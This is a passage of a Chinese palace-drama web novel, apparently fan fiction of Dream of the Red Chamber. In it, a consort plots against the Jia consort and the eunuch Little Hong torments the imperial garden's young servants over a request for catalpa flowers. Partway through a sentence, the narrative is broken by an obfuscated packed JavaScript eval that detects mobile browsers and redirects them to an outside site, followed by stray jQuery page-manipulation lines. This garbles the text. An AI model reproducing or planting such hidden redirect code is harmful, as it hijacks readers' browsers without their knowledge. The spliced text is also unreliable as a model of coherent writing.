淑妃冷笑道：“‘破落户’？呵，话可不是这样讲。我听说，他家里可体面得紧呐，为了这一次的省亲，造费无数、排场极大，金银用得如流水一般。若是那不明就里的，恐怕还以为她家里是出了个‘皇后’呢。呵，小门小户的，花样倒多。当年送选时便称此女诞于正月初一，‘命数大吉’，心思不正，便是瞧准了皇家爱这套吉祥话儿。被她家里得逞了，送了这一个来，竟然还不夹紧尾巴享福，不知天高地厚，前儿还想将她一个表妹也送进来。这一个就更奇了，说是小时候曾得‘仙人’送金、赠言，又是‘吉祥无比’。哼，不过一介布衣商贾之女，倒会往自个儿身上贴金。我竟不信，她贾家是个什么‘洞天福地’不成，人人皆有些祥瑞在身上？我偏不许她们如愿。”


    宣贵人笑道：“不过一个待选的秀女，入不入册，还不是姐姐说一声儿的工夫？姐姐何苦为她们这样的人生气。她们费尽心机造出那许多名目儿来，到底还是一场空。依妹妹看，贾妃、贾妃，这‘假’的总归真不了，日子还长，到时她才知道，谁才是真的‘吉祥’呢。”


    这一席话总算说得巧，淑妃脸上现出一丝淡淡的笑容，向宣贵人施施然伸出一只手。


    宣贵人忙笑着扶住了，两人继续向慈宁宫而去。


    淑妃和贤德妃针锋相对，除了各自随侍的宫人外，闲杂人等早回避了，都怕贵人迁怒、祸及无辜。


    御花园一角却有个人饶有兴味地暗暗瞧着，乃至于两拨人都散了，他仍然若有所思地不知道在想些什么。


    照管花木的小太监在一旁垂着头候着，见这人许久不说话，想着自己还要当差，不能一直陪他杵在这里，便恭恭敬敬地问道：“简公公？”


    小洪子只顾袖手看着远去的淑妃和宣贵人，没提防有人唤他，闻言皱了眉头，侧头冷冷地向那小太监一瞥。


    这仿佛淬了毒的目光将那孩子吓了一跳，他想起宫人们私下传说的这位简公公的脾气为人，心里暗道不好，忙躬身赔礼道：“奴才知错了。”


    小洪子向旁边迈出一步，不肯与这擅自搭话的下等杂役太监靠得太近，漫不经心地拂了拂袖子，一面凉凉地道：“知错了？你同我说说，你错在哪儿呢？”


    那孩子没想到他有这一问，总不能说是自己不该出声打扰他？


    可这里是御花园，他简公公一没贵人的谕旨、二无掌园的职分，这两日他平白在这耽着，指使自己等人替他剪花儿带走，到底是谁打扰谁啊，小太监心里冤枉得很。


    心里想是一回事，这孩子到底在宫里生活了这么久，自然不能照样说出来，一时又不知如何才能打发这个瘟神，急得人中上都冒出了汗珠。


    小洪子一瞥他那窝囊的样子，没好气地道：“呸，没出息的顽意儿。不过问你一句话，怎么就急到这样？上不得台盘儿的东西，怪不得只能在这里对着些烂草根子讨生活，人家吃香的、喝辣的，你只能喝尿！怨不得人！”


    领了御花园杂役的差使，也不是自己的错啊。


    那孩子心里委屈，又不敢分辩、又不敢哭，一时将脸都憋红了。


    小洪子更是心烦，啐道：“哟，你做那个样子，是给谁看？是不是以为自己‘梨花带雨’呐？不撒泡尿自己照照，你切了那东西，就想做大姑娘了？呵，你倒委屈起来了，怎么，刻意要在人前显露显露，是我刻薄了你，你好诉委屈去？”


    小太监忙带着哭腔道：“不敢、不敢，奴才不过是……哦，不过是被沙土迷了眼睛。简公公您不是有事要吩咐？请您尽管吩咐罢，要什么花，奴才这便去剪来。”


    小洪子本来确实是来要花儿的，此时却不肯放过这孩子。


    方才他胆敢打断自己的思绪固然讨厌，可更讨厌的是早前他手执喷壶在那里侍弄花草时脸上的笑容。


    真刺眼啊。


    一个断了根的、低贱的下等杂役，每日捯饬花木、灰头土脸的，连正经主子的面儿都见不着，他为什么能这么笑？


    他凭什么能这么笑？


    小洪子心里有冰冷泛酸的东西在翻涌，皱眉道：“不用你，瞧着就晦气。”


    小太监忙道：“奴才真的知错了，请您再给奴才一次机会罢。奴才一定小心伺候，不叫简公公心烦。”


    机会？再给你一次机会？


    谁又给过我机会了？


    小洪子有些怨毒地瞥了他一眼，一字一顿地冷笑道：“我说——不、用、你。你听不见？滚到一边去。”一面又扬声道：“来人、来人！这御花园伺候的人去哪了，都死了不成？”


    听见他嚷，余下的人不敢再藏躲，从那边角落里马上跑出来两个差不多年纪的小太监，都跪在地下，道：“在、在，请简公公吩咐。”


    先前那个孩子看一眼同伴，只能含着泪在另一边跪着，不敢说话、不敢起身，更不敢走开。


    才来的小太监赔着笑，恭敬地问道：“公公可是要取些花儿么？”


    小洪子看都不看旁边六神无主的那个孩子，慢条斯理地从鼻子里哼了一声。


    小太监更是恭敬，又问：“之前的花儿，公公觉着可还好么？若是还过得去，奴才们再去按照头几日的样子剪来。”


    小洪子嗤笑道：“你们眼里能见过什么好东西，哪里懂什么花儿好看？一点小事也做不好，没点子用处。前几日的，都不好，都俗。”


    能进御花园的花儿，还俗吗？小太监暗诽，面上却不敢表露，忙道：“是、是，请公公教导我们。”


    小洪子冷哼了一声，随口道：“我问你们，这时节什么花儿开得最好？不要那些大路货。”


    另一个小太监道：“回公公的话，若不要那些名种，这会子园子角上那棵老楸树的花，是最热闹的。”


    说着就向园子西角上一指。


    小洪子远远望了一眼，那老树上果然正盛开了一树的花。


    淡紫粉红的花数不胜数，映着碧绿的叶子，瞧着果然十分精神。


    只是……这花儿也太嫌热闹些，满树都是，倒不比玫瑰花儿那些单株单丛的瞧着名贵。


    小洪子还在考量，地下跪着的那孩子心思却通透，道：“公公别


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15974925|162289||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    瞧这花儿仿佛品格不高，实在倒也是‘风雅’的。宋代梅尧臣曾有诗云‘楸英独妩媚，淡紫相参差’，又有东坡诗云‘楸树高花欲插天，暖风迟日共茫然。落英满地君方见，惆怅春光又一年’。奴才们虽然不懂得什么，可这些大文人、大才子都肯吟咏的，自然不会错了。公公您……”


    这孩子口齿清楚，几句诗念得倒难得颇有些味道，可话还没说完，却被小洪子一口啐在脸上，骂道：“不要脸的东西，不知从哪里偷听了两句酸话，倒能往人前显弄起来了。你是种花儿的，还是大学士？你也配念诗？呵，再这么着三不着两的，等我回了夏总管，打你一顿板子，撵出去！”


    他这火发得毫无来由、实在奇怪，简直是喜怒无常，小太监们都不敢出声。


    方才吟诗的小太监，是从小跟着一个会认字的老太监长大的。


    这孩子虽然身世贫苦，却禀赋聪明，自学着认得字后，老太监得闲又教他念了几首诗，虽然只是《全唐诗》里有名的如韦庄的“早是伤春暮雨天，可堪芳草更芊芊”等句，却也是太监行列里难得有知识的人了。


    待得老太监肚子里的墨水倒干净了、再教不得他了，小孩子便将自己攒下的宫份拿去换了半本旧诗集来念，他心里喜欢那些优美的词句格律，念得颇有兴味。


    说来也令人感慨，若这孩子不曾生在挣扎求生的贫苦人家，不至于孩童时便被送进宫做了太监，说不准这世上又多一个善读书的孩子，保不齐将来也能有几首名句传世。


    可话又说回来，若这孩子有幸生在膏粱富贵之家、长于长辈溺爱，说不准又要耽于声色享乐，不会再拿半本翻烂了的旧诗集当宝贝了。


    他此时将那几句诗随口念来，倒也不是为显弄，只是敏感地察觉到这位简公公并不十分瞧得上那楸树花、想要为那热烈的花儿正名罢了。


    此时莫名其妙挨了一顿骂，他怕连累同伴，忙闭紧嘴巴跪好，将头垂得低低的，再也不敢乱说话了。


    小洪子斥责他们一回，背过身去，自己若有所思的、嘴巴翕动着，不知在念叨什么，最后才转过来道：“就将那个秋……秋天的花撷来与我。”


    语气十分平静，仿佛方才发火的那个人不是他一般。


    小太监们忙答应了，你推我、我推你，扛梯子、提剪子，忙忙地跑去将花儿满满采了一花篮，恭恭敬敬捧给小洪子，只盼他能满意，然后赶紧离了这里。


    小洪子将花儿捧着，眯着眼看了看，也挑不出什么问题来，他还有事要做，也无暇去发落方才那孩子，一路慢悠悠地踱着步子走了。


    小太监们都从地上爬起来，拍拍前襟上的灰，又龇牙咧嘴地揉着膝盖。


    御花园的石道为了求“雅趣”，故意不肯像宫道上那些地方一样，用那些磨得平整光滑的石板，或用表面微有凹凸的糙石，或者干脆就用卵石，所以跪上去格外疼痛。


    开头那个小孩子眼角挂着泪，还在那里愣愣地跪着，几个小太监忙去将他也拉了起来，彼此搀扶着。


    他们朝小洪子离开的方向啐了一口。